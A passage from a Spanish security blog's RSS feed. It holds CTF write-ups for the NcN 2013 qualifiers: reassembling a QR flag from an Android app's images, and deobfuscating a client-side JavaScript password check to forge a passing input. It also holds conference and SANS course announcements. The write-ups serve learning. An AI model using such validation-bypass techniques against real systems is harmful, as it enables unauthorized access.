/&lt;/i&gt;&lt;i&gt;&amp;gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/i&gt;&lt;i&gt;&amp;lt;&lt;/i&gt;&lt;i&gt;public type=&quot;raw&quot; name=&quot;h&quot; id=&quot;0x7f040007&quot; /&lt;/i&gt;&lt;i&gt;&amp;gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/i&gt;&lt;i&gt;&amp;lt;&lt;/i&gt;&lt;i&gt;public type=&quot;raw&quot; name=&quot;i&quot; id=&quot;0x7f040008&quot; /&lt;/i&gt;&lt;i&gt;&amp;gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/i&gt;&lt;i&gt;&amp;lt;&lt;/i&gt;&lt;i&gt;public type=&quot;raw&quot; name=&quot;ic_secret&quot; id=&quot;0x7f040009&quot; /&lt;/i&gt;&lt;i&gt;&amp;gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/i&gt;&lt;i&gt;&amp;lt;&lt;/i&gt;&lt;i&gt;public type=&quot;raw&quot; name=&quot;j&quot; id=&quot;0x7f04000a&quot; /&lt;/i&gt;&lt;i&gt;&amp;gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/i&gt;&lt;i&gt;&amp;lt;&lt;/i&gt;&lt;i&gt;public type=&quot;raw&quot; name=&quot;k&quot; id=&quot;0x7f04000b&quot; /&lt;/i&gt;&lt;i&gt;&amp;gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/i&gt;&lt;i&gt;&amp;lt;&lt;/i&gt;&lt;i&gt;public type=&quot;raw&quot; name=&quot;l&quot; id=&quot;0x7f04000c&quot; /&lt;/i&gt;&lt;i&gt;&amp;gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/i&gt;&lt;i&gt;&amp;lt;&lt;/i&gt;&lt;i&gt;public type=&quot;raw&quot; name=&quot;m&quot; id=&quot;0x7f04000d&quot; /&lt;/i&gt;&lt;i&gt;&amp;gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/i&gt;&lt;i&gt;&amp;lt;&lt;/i&gt;&lt;i&gt;public type=&quot;raw&quot; name=&quot;n&quot; id=&quot;0x7f04000e&quot; /&lt;/i&gt;&lt;i&gt;&amp;gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/i&gt;&lt;i&gt;&amp;lt;&lt;/i&gt;&lt;i&gt;public type=&quot;raw&quot; name=&quot;o&quot; id=&quot;0x7f04000f&quot; /&lt;/i&gt;&lt;i&gt;&amp;gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/i&gt;&lt;i&gt;&amp;lt;&lt;/i&gt;&lt;i&gt;public type=&quot;raw&quot; name=&quot;p&quot; id=&quot;0x7f040010&quot; /&lt;/i&gt;&lt;i&gt;&amp;gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;[...]&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Como veis, los números aparecen, pero en su forma hexadecimal, y aparecen referenciados a elementos de tipo &quot;raw&quot;, que si miramos en la carpeta &quot;raw&quot; a ver que pinta tienen, veremos algo así:&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-HoktcUhyAic/Unn5aRGvu5I/AAAAAAAABXA/miPE2FpgSmQ/s1600/005.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;245&quot; src=&quot;http://2.bp.blogspot.com/-HoktcUhyAic/Unn5aRGvu5I/AAAAAAAABXA/miPE2FpgSmQ/s400/005.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Está claro que al final de la jugada vamos a obtener un código QR donde seguramente estará el flag que buscamos. Ahora solo nos falta rehacer nuestro cuadro anterior pero esta vez poniendo ya el nombre de las imágenes:&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/-KPEug2RMRRs/Unn5xjY6beI/AAAAAAAABXI/b4J9In-U4QA/s1600/006.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://4.bp.blogspot.com/-KPEug2RMRRs/Unn5xjY6beI/AAAAAAAABXI/b4J9In-U4QA/s1600/006.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;La composición de la imagen quedaría tal que así, y la podríamos hacer con un script, con algunas herramientas que directamente juntan imágenes, o completamente a mano. En mi caso, como son pocas imágenes y no sabía de memoria como manejar imágenes (no es algo que suela programar), me pareció más rápido a mano. Veréis que he marcado dos bitmaps en amarillo, eso es porque, al montar la imagen, veréis de repente que el bitmap que estáis poniendo no encaja con los demás, pero no resulta muy complicado colocarlo &quot;a ojo&quot; en su sitio adecuado. Después de juntar todo y ver que el código QR resultante parece tener sentido, tenemos algo así:&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-SI0ygsk7Vjg/Unn6nvUspfI/AAAAAAAABXU/ld2V3Vsqa30/s1600/007_qr.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;200&quot; src=&quot;http://1.bp.blogspot.com/-SI0ygsk7Vjg/Unn6nvUspfI/AAAAAAAABXU/ld2V3Vsqa30/s200/007_qr.png&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Hay herramientas de linea de comandos para leer estos código, herramientas on-line, o directamente podéis apuntar con vuestro móvil a la pantalla y leerlo si tenéis la aplicación adecuada. Yo opté por hacerlo con una herramienta on-line. La primera que probé no me funcionó, pero &lt;a href=&quot;http://zxing.org/w/decode.jspx&quot; target=&quot;_blank&quot;&gt;la segunda que probé&lt;/a&gt; ya me sacó el resultado esperado:&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-_yc_GRfJ2f4/Unn7IiUJWWI/AAAAAAAABXc/5NfYNuc03Ws/s1600/008_zxing_org.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;165&quot; src=&quot;http://2.bp.blogspot.com/-_yc_GRfJ2f4/Unn7IiUJWWI/AAAAAAAABXc/5NfYNuc03Ws/s400/008_zxing_org.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Ya tenemos el segundo :)</description><link>http://www.pentester.es/2013/11/ncn-prequals-2013-reto-2.html</link><author>noreply@blogger.com (Jose Selvi)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-O_X8aOor0G4/UnnwEfLTWlI/AAAAAAAABWQ/8mKdy35KkaM/s72-c/001.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-218384296068474839</guid><pubDate>Wed, 06 Nov 2013 06:40:00 +0000</pubDate><atom:updated>2013-11-06T07:40:00.956+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">ctf</category><category domain="http://www.blogger.com/atom/ns#">NocONName</category><title>NcN PreQuals 2013: Reto 1</title><description>&lt;div style=&quot;text-align: justify;&quot;&gt;Como ya sabéis, esta pasado fin de semana fueron las finales del CTF de la NcN, organizadas por el equipo de seguridad de FaceBook, pero algunas semanas antes de eso los equipos tuvieron que pasar una clasificación basada en tres pruebas.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;En la primera de ellas, nos encontrábamos ante un formulario web con un solo campo en el que supuestamente debíamos acertar con la contraseña para que nos proporcionara el Flag. En estos casos, lo primero es ver como son las conexiones a bajo nivel, para lo que normalmente lo mejor es configurar un proxy intermedio (Burp en mi caso).&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-B_Ft6QQH0Kc/UnmDPyUKbEI/AAAAAAAABVY/NHwoGzb0lf8/s1600/002.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;310&quot; src=&quot;http://1.bp.blogspot.com/-B_Ft6QQH0Kc/UnmDPyUKbEI/AAAAAAAABVY/NHwoGzb0lf8/s400/002.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Al hacerlo, nos damos cuenta que la aplicación nos devuelve un mensaje &quot;&lt;i&gt;Invalid password&lt;/i&gt;&quot; antes de realizar ninguna conexión, con lo que podemos intuir que se produce algún tipo de validación en el lado cliente. Para confirmarlo, desconectamos el equipo de Internet y volvemos a probar. Es conveniente hacer esto porque puede haber plugins (flash, java, ...) que no hagan caso de la configuración del proxy del navegador, y confundirnos un poco. Una vez confirmado que hay algo en el lado cliente, solo tenemos que pegar un vistazo al código HTML:&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-202AKGFb66o/UnmD6lBQ0oI/AAAAAAAABVg/2WS1q3pH8xg/s1600/003.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;http://3.bp.blogspot.com/-202AKGFb66o/UnmD6lBQ0oI/AAAAAAAABVg/2WS1q3pH8xg/s400/003.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Como podemos ver, la página carga un script llamado &lt;b&gt;crypto.js&lt;/b&gt;, y llama a una función encrypt() al enviar el contenido del formulario. Si miramos el contenido de crypto.js veremos que tiene un javascript ofuscado que no nos deja ver muy bien la función de validación. Existen maneras de desofuscar este código, pero una rápida que suelo hacer yo es sustituir la función &lt;b&gt;eval()&lt;/b&gt; por un alert(), de tal modo que el código javascript desofuscado que se debería ejecutar, en lugar de ser ejecutado, es mostrado en un alert, y lo podemos copiar y pegar en un fichero:&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-Ag8AxOuD0kc/UnmFkdHEyuI/AAAAAAAABVs/NqvOoV7YGBU/s1600/004.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;265&quot; src=&quot;http://1.bp.blogspot.com/-Ag8AxOuD0kc/UnmFkdHEyuI/AAAAAAAABVs/NqvOoV7YGBU/s400/004.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Todo lo que nos devuelve el alert lo copiamos y pegamos en un TXT, aplicamos unos cuantos saltos de linea, y podemos leer fácilmente la función &lt;b&gt;encrypt()&lt;/b&gt; que habíamos visto antes, que tiene una pinta tal que así:&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-6bx6qUTJc2Q/UnmF61rmn6I/AAAAAAAABV0/aJ_pUN0a2A8/s1600/006.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;385&quot; src=&quot;http://3.bp.blogspot.com/-6bx6qUTJc2Q/UnmF61rmn6I/AAAAAAAABV0/aJ_pUN0a2A8/s400/006.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Como podemos ver, la cadena de texto que introduzcamos es convertida en un valor numérico por medio de la función numerical_value(), y a este valor se le aplican una serie de operaciones matemáticos. Si el resultado final es CERO, entonces la contraseña es correcta.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Si hacemos el proceso inverso podemos ir calculando que valor debería devolver numerical_value() para que la contraseña sea correcta:&lt;/div&gt;&lt;br /&gt;&lt;i&gt;res = res^4153 &amp;nbsp; &amp;nbsp; &amp;nbsp;-&amp;gt; res debería ser 4153, para que al hacer XOR el resultado sea cero.&lt;/i&gt;&lt;br /&gt;&lt;i&gt;res = res/4 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; -&amp;gt; multiplicamos 4153 por cuatro, para hacerla operación contraria.&lt;/i&gt;&lt;br /&gt;&lt;i&gt;res = res&amp;gt;&amp;gt;&amp;gt;6 &amp;nbsp; &amp;nbsp; &amp;nbsp; -&amp;gt; desplazamos hacia la izquierda 6 bits&lt;/i&gt;&lt;br /&gt;&lt;i&gt;res = res*(3+1+3+3+7) -&amp;gt; dividimos por 17.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;El resultado final es 62540, aunque otros valores cercanos también pueden dar el mismo resultado, debido a las operaciones de división y desplazamiento de bits.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Ahora solo nos queda encontrar una cadena de texto que, al aplicarle &lt;b&gt;numerical_value()&lt;/b&gt;, dé éste valor o cercano. Como podemos ver en la imagen anterior, numerical_value() coge los valores ASCII de cada uno de los caracteres y los multiplica por su posición (empezando en 1), y los suma todos para obtener el valor final.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;A partir de aquí, tenemos varias opciones para obtener la cadena: hacer un análisis o probar por fuerza bruta. En este caso a mi me pareció sencillo y rápido hacerlo a mano, así que tomé esta aproximación:&lt;/div&gt;&lt;ol&gt;&lt;li style=&quot;text-align: justify;&quot;&gt;Modificamos el código javascript para que haga un alert() del valor devuelto por numerical_value(), así tenemos una referencia del valor de la cadena que estamos calculando (&lt;i&gt;res=numerical_value(form.password.value); &lt;b&gt;alert(res)&lt;/b&gt;; ...&lt;/i&gt;)&lt;/li&gt;&lt;li style=&quot;text-align: justify;&quot;&gt;Vamos metiendo cadenas compuestas del caracter &#39;Z&#39; y vamos aumentando la longitud hasta que el valor devuelto sea mayor que 62540 (&lt;i&gt;ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ -&amp;gt; 63270&lt;/i&gt;).&lt;/li&gt;&lt;li style=&quot;text-align: justify;&quot;&gt;Ahora vamos decrementando el último caracter mientras el valor devuelto sea mayor que 62540. Cada cambio en caracteres de más a la derecha es más significativo en el resultado final, y cada cambio en caracteres de más a la izquierda proporciona un cambio más sutil.&lt;/li&gt;&lt;li style=&quot;text-align: justify;&quot;&gt;Vamos jugando con las posiciones y letras hasta que llegamos al valor deseado.&lt;/li&gt;&lt;/ol&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;b&gt;ZPZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZG&lt;/b&gt; -&amp;gt; 62547&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-Va0utmyH5zM/UnmJ8YMrrLI/AAAAAAAABWA/4S0MnEI6T5k/s1600/007.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;220&quot; src=&quot;http://2.bp.blogspot.com/-Va0utmyH5zM/UnmJ8YMrrLI/AAAAAAAABWA/4S0MnEI6T5k/s400/007.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Como podéis ver, el valor finalmente es 62547, que como decíamos no es exactamente el que habíamos calculado, pero ya sabíamos que podía pasar esto y que era perfectamente válido.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Ya tenemos uno :)&lt;/div&gt;</description><link>http://www.pentester.es/2013/11/ncn-prequals-2013-reto-1.html</link><author>noreply@blogger.com (Jose Selvi)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-B_Ft6QQH0Kc/UnmDPyUKbEI/AAAAAAAABVY/NHwoGzb0lf8/s72-c/002.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-1462691073473574361</guid><pubDate>Tue, 01 Oct 2013 05:15:00 +0000</pubDate><atom:updated>2013-10-01T07:19:48.168+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Conferencias</category><category domain="http://www.blogger.com/atom/ns#">PentesterEs</category><title>Navaja Negra, INTECO, Vilanet y GSICKMINDS: Octubre movidito!</title><description>&lt;div style=&quot;text-align: justify;&quot;&gt;Aunque llevaba un tiempo en el que no me he prodigado ni en el blog ni dando charlas en ningún sitio (por motivos que ya comentaré más adelante), este mes rompo el hielo de nuevo y estaré en varios sitios a lo largo de la geografía española contando algunas técnicas que utilizo habitualmente en mi trabajo cuando realizo test de intrusión interno. El título de la charla es &quot;&lt;b&gt;Offensive MitM&lt;/b&gt;&quot; y pretende dar una aproximación más ofensiva al clásico MitM con Cain y a la captura de credenciales en claro o crackeo de autenticación de red. Durante la charla veremos como podemos manipular algunas conexiones &quot;al vuelo&quot; para inyectar contenido que sirva para nuestros oscuros propósitos, tomo amenizado con 3-4 pequeñas demostraciones.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Mi primera parada será esta misma semana en Albacete, en las conferencias &lt;a href=&quot;http://navajanegra.com/&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;Navaja Negra&lt;/b&gt;&lt;/a&gt;, los días 3, 4 y 5, donde compartiré cartel con esta horda de ponentes:&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://navajanegra.com/static/images/cartel.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;http://navajanegra.com/static/images/cartel.jpg&quot; width=&quot;224&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;La semana siguiente, los días 11, 12 y 13 estaré en la &lt;a href=&quot;http://vilanetcon.org/&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;Vilanet&lt;/b&gt;&lt;/a&gt; en Villareal (provincia de Castellón), que aunque no es una conferencia específica de seguridad han tenido la amabilidad de invitarme a participar en una de las charlas que hay el sábado día 12.&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://vilanetcon.org/images/www/logo.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://vilanetcon.org/images/www/logo.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Dos semanas después, el miércoles día 23, participaré en el III Encuentro de Blogueros de Seguridad que tendrá lugar dentro del evento &lt;a href=&quot;http://enise.inteco.es/&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;ENISE&lt;/b&gt;&lt;/a&gt;, organizado por &lt;a href=&quot;http://www.inteco.es/&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;INTECO&lt;/b&gt;&lt;/a&gt;, en la ciudad de León, que consistirá en una mesa redonda en la que abordaremos diferentes temas.&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://enise.inteco.es/extfrontinteco/img/Image/enise6/cab_enise_izq.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;120&quot; src=&quot;http://enise.inteco.es/extfrontinteco/img/Image/enise6/cab_enise_izq.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Por último, pero no por ello menos importante, los días 24, 25 y 26 de este mismo mes estaré en &lt;a href=&quot;http://gsickminds.net/&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;GSICKMINDS&lt;/b&gt;&lt;/a&gt; en A Coruña, compartiendo cartel con &lt;a href=&quot;http://gsickminds.net/ponencias.html&quot; target=&quot;_blank&quot;&gt;ESTOS&lt;/a&gt; ponentes.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://gsickminds.net/images/gsickminds2013.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;117&quot; src=&quot;http://gsickminds.net/images/gsickminds2013.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Y así acabará mi Octubre viajero. Espero veros a alguno en estas conferencias.</description><link>http://www.pentester.es/2013/10/navaja-negra-inteco-vilanet-y.html</link><author>noreply@blogger.com (Jose Selvi)</author><thr:total>5</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-1994326528045829396</guid><pubDate>Tue, 09 Jul 2013 06:30:00 +0000</pubDate><atom:updated>2013-10-15T07:38:32.910+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Formacion</category><category domain="http://www.blogger.com/atom/ns#">IncidentHandling</category><category domain="http://www.blogger.com/atom/ns#">SANS</category><title>Curso Incident Handling en Madrid en Septiembre</title><description>&lt;span style=&quot;text-align: justify;&quot;&gt;Contribución de &lt;/span&gt;&lt;a href=&quot;http://es.linkedin.com/in/rafaelalfaromarch&quot; style=&quot;text-align: justify;&quot; target=&quot;_blank&quot;&gt;Rafael Alfaro&lt;/a&gt;&lt;span style=&quot;text-align: justify;&quot;&gt;, con el que he tenido la suerte de coincidir en la Universidad, en&amp;nbsp;algún trabajo y como Mentor de cursos del &lt;/span&gt;&lt;a href=&quot;http://www.sans.org/&quot; style=&quot;text-align: justify;&quot; target=&quot;_blank&quot;&gt;SANS Institute&lt;/a&gt;&lt;span style=&quot;text-align: justify;&quot;&gt;:&lt;/span&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Como seguramente muchos ya sabréis, el &lt;a href=&quot;http://www.sans.org/&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;SANS Institute&lt;/b&gt;&lt;/a&gt; es uno de los centros de investigación y formación en seguridad más prestigiosos del mundo. Entre los recursos que ofrece (algunos gratuitos y otros de pago) hay cursos de todo tipo relacionados con la seguridad, algunos de ellos son los más técnicos que podemos encontrar hoy en día.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;https://www.sans.org/images/sanslogo_block.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://www.sans.org/images/sanslogo_block.jpg&quot; /&gt;&lt;/a&gt;De entre ellos, he acordado con el SANS Institute impartir el curso &quot;&lt;b&gt;&lt;a href=&quot;https://www.sans.org/mentor/class/sec504-madrid-13dec2013-rafael-alfaro-march&quot; target=&quot;_blank&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;SEC504: Hacker Techniques, Exploits &amp;amp; Incident Handling&lt;/span&gt;&lt;/a&gt;&lt;/b&gt;&quot; en modalidad Mentor, cuya última edición se celebró en España en 2010. El curso lo impartiré conjuntamente con &lt;a href=&quot;http://es.linkedin.com/pub/jose-manuel-mendez/1/7a4/343&quot; target=&quot;_blank&quot;&gt;Jose Manuel Méndez&lt;/a&gt;. En esta modalidad, los estudiantes dispondrán de una copia impresa de los materiales (en inglés) y de un DVD con las máquinas virtuales, herramientas, etc necesarias para realizar los ejercicios. Además de este material de auto-estudio, el Mentor impartirá una clase semanal de dos horas durante 10 semanas comprendidas entre el 13 de Diciembre y el 28 de Febrero (salvo 27 de Diciembre y 3 de Enero). El objetivo principal de las clases es resolver dudas, mostrar como se usan las herramientas y la realización de ejercicios adicionales que favorezcan la comprensión de las técnicas y las herramientas. &amp;nbsp;Podéis encontrar más detalles sobre las diferentes modalidades de cursos que ofrece el SANS Institute &lt;a href=&quot;http://www.pentester.es/p/sans.html&quot; target=&quot;_blank&quot;&gt;AQUÍ&lt;/a&gt;.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Los materiales del curso están en inglés, pero las clases serán impartidas en Español.&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Las clases se realizarán los viernes de 18.00 a 20.00 en las instalaciones de VASS Madrid, situadas en la Avda Dr. Severo Ochoa, 25 Edificio Fiteni V, situado en Alcobendas (Madrid).&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;El SANS Institute ha publicado la página del curso en la siguiente &lt;a href=&quot;https://www.sans.org/mentor/class/sec504-madrid-13dec2013-rafael-alfaro-march&quot; target=&quot;_blank&quot;&gt;dirección&lt;/a&gt;, para que la gente se pueda apuntar. En caso de que os interese, antes de apuntaros poneros en contacto conmigo en &lt;b&gt;ralfaro.march _ARROBA_ gmail.com&lt;/b&gt;. Si os interesa o tenéis alguna pregunta, no tardeis en apuntaros o poneros en contacto conmigo, porque en función de la gente interesada el curso se realizará o no.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;¿Qué es y para qué sirve el Incident Handling?&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;El Incident Handling, traducido como gestión de incidentes, son todas aquellas acciones a realizar con el fin de minimizar el impacto y corregir el problema que nos ha llevado a sufrir un incidente de seguridad. En mi experiencia como Incident Handler, han sido muchas las veces que una empresa ha requerido estos servicios tras sufrir una intrusión, una infección por malware o cualquier otro tipo de incidente de seguridad.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Cuando esto se produce y todo el mundo pierde los nervios, un Incident Handler debe mantener la sangre fria y analizar la situación, determinar el origen de la amenaza y manera en que se produjo el incidente, aplicar las medidas de contención, recoger las evidencias necesarias y finalmente solucionar el incidente de tal forma que se haya eliminado tanto la amenaza como la vulnerabilidad que permitió que dicho incidente se produjera. Como podeis imaginar, la gestión de este tipo de incidentes requiere el uso de una metodología apropiada, así como unos conocimientos profundos de técnicas de hacking, intrusión y/o malware que nos permitan reconocer la situación, lo cual será imprescindible para tomar unas medidas de contención y erradicación eficaces y, por tanto, para dar por resuelto el incidente.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: 